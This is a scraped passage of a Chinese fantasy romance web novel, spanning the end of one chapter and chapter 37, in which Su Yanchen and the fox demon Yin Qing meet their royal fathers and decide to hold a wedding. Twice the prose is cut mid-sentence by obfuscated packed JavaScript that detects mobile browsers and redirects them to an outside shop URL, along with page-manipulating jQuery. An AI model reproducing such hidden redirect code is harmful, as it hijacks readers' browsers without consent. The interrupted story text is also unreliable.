不堪忍受这种氛围，苏言辰深吸一口气抬起头，看向注视着自己的男人，低低唤了一声。 “……父亲。” 能在封印打破后立即出现在他面前，他的人王父亲比他想象的要更重视他。此前虽在墨翎口中得知了人王的爱子之心，但文字语言的描述到底不如现实的行动感知得真切。 …… 化作黑色巨蛇奋力挣扎的申常德最终被那金色的巨狐按在爪下，在七寸被狐爪穿透的同时，数百道剑气也尽数没入巨蛇的肉身。 “苏凌风，你——”巨狐浑身毛发炸起，飞快跳离剑气攻击的范围，化作人形落到人王的身前。 银焱满身的火气在感知到自己子嗣的一刹那化作喜悦，金色的狐尾悬在半空，轻轻摇晃着。 “阿青崽崽，爹爹总算找到你了。” 他扫视一圈周围的人和物，目光最终落在银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305440|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发金眸的银青身上，开口笑道。 “……不要叫我崽崽。”见着了自己的亲生父亲那威武不凡的狐身后，银青勉强认可了对方的身份。所谓强者为尊，在自己的父亲身上他看到了属于强者的气息，不过……这并不代表自己能被其叫作崽崽。 崽崽……叫怀里这两个刚出生的小家伙这个称呼还差不多。 正想着，原本安稳待在他怀里的小家伙们突然爆发出响亮的啼哭声。 “怎么突然哭了？”苏言辰从宫殿内出来，听到孩子的哭声，步伐不由加快。方才换衣服时他遇到了银雪被拉着灌了补药耽搁了一小会儿，或许是药效加上修习功法的治愈效果，在喝完药后他感觉到体内那种虚弱感逐渐消失。 “或许是因为……饿了。”就在苏言辰走到银青身边的时候，他突然听到了陌生的声音响在耳边。 “？” 他连忙转头，正好撞上一双与银青瞳色相似的眼睛，是一位头顶金色狐耳，笑眯眯望着他的妖异男子。 正是银青的父亲，妖王银焱。 “……”苏言辰沉默着转过头，和银青对视了一眼。 “崽崽们饿了，我先给他们找吃的去。”他抱住狐崽往宫殿内走去。 一下子就见着两位大家长，到底有些刺激了。苏言辰暗中呼了一口气，加快步伐。 “我同你一起。”见伴侣要走，银青立马跟上。 如今申常德已死，自己布置了几个月的计划安排在封印破碎两界互通后已经没了必要。就如师父所言，大世界自有规则律法，有两位陛下在，他也无需再操心后续之事。 与其在此地沐浴着人王那刀子般的眼神不如和阿辰一起喂养崽崽。 话说……既然两极果可以叫人孕子，那会叫人分泌乳汁吗？ “闭嘴！你这只满脑子奇怪想法的狐妖。”苏言辰眉心一跳，睁大眼睛看向说出离谱话语的银青，咬牙切齿道：“老子是男的，不会产乳，没这功能。” “与其想这想那，不如和银雪一起去山下找奶水去。” “你也不想自己的崽被饿晕吧。” 37. 第 37 章 封印破后，无根之境逐渐在天道的伟力之下与大世界接壤。 世界势力的交接本应是个较为艰难的过程，但在将那些除妖宗门吸纳转化为修仙宗门后，一切都变得水到渠成起来。 望月山上，在苏言辰拒绝苏凌风即刻前往王宫的提议后，这位寻子多年的父亲并未说什么，只是对着自己失而复得的幼子叮嘱道：“无论如何，王宫内永远都有属于你的宫殿居所。” “若有闲暇，辰儿你可以带上两个孩子一起去我那边住住。” 听这话，苏言辰刚想应下，突然意识到自己的父亲似乎并未提及银青，他心中犯着嘀咕。 莫非父亲忘记了？旁边这么大一只狐狸杵在眼前不可能没看见吧。 苏凌风瞥了眼黏在幼子身旁的小狐妖，冷哼一声。 “至于这个家伙，没名没分的。我的王宫可不是什么人都能住的。” 话音落下，一道银色剑影迅速停在半空，苏凌风回望幼子一眼，随后轻巧跃上长剑，绝尘而去。 在苏凌风说话之时保持沉默的妖王银焱突然笑出声，见两个小家伙看着自己，他摆摆手，咳了一声，朝银青说道：“阿青崽崽，若有事情需要为父帮忙，叫白羽传信于我即可。” “若是在礼仪方面有什么不懂的，直接去妖宫找大长老，他会帮你安排好接下来的事情。”说完，银焱化作巨狐很快消失在两人的视线当中。 “……” “……” 望月山的妖族宫殿前，静静立着两个眺望远方的人，在一阵无言的沉默后，其中一人终于开口说话。 “所以，我父亲的话的意思是，我要给你……名分？” 望着父辈离开的方向，苏言辰从方才的对话中提取出这样的信息。 提到名分，他突然意识到一件事。虽说自己与银青是两情相悦，但从上床到同居再到生子，中间似乎、大概应该确实是缺了一个步骤。 “……原来我们还没有拜天地啊。”苏言辰喃喃出声。 他转头看向身旁的银青，却见这只大狐狸面上一片空白，那时常摇摆的狐尾好似僵住般悬在半空。 良久，苏言辰才听到银青发出微不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321402|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可听的话语，声音又低又小好像不敢置信一般。 “我竟然还未同阿辰拜堂成亲？！” 意识到这个事实，银青恍然，什么无名无分，人王分明是在点自己呢。难怪自家那个老狐狸说什么礼仪，原来是指婚礼。 银青狠狠甩了下尾巴，拥住身旁的心爱之人，狐耳耷拉着满含歉意地说道：“是我糊涂了，居然忘记了这么重要的事情。我——” “不，是我们都忘记了。”苏言辰打断银青自责的话语，转过身与银青面对面。 “况且先前即使没忘记，那时的情况也不适合举行什么仪式。”他伸手捧住狐妖俊美的脸庞，落下轻轻一吻，安慰道。 “不过如今你我既已与亲人相认，现下又无琐事绊身，那么接下来的日子……” “一起准备属于我们的婚礼吧。” 如今他与银青之间不再是除妖师与妖族的敌对立场，他们同大世界中无数和谐生活着的生灵一样，只是天道之下的普通人罢了。他可以同银青在众人的祝福下结为夫夫，然后…… 白首偕老。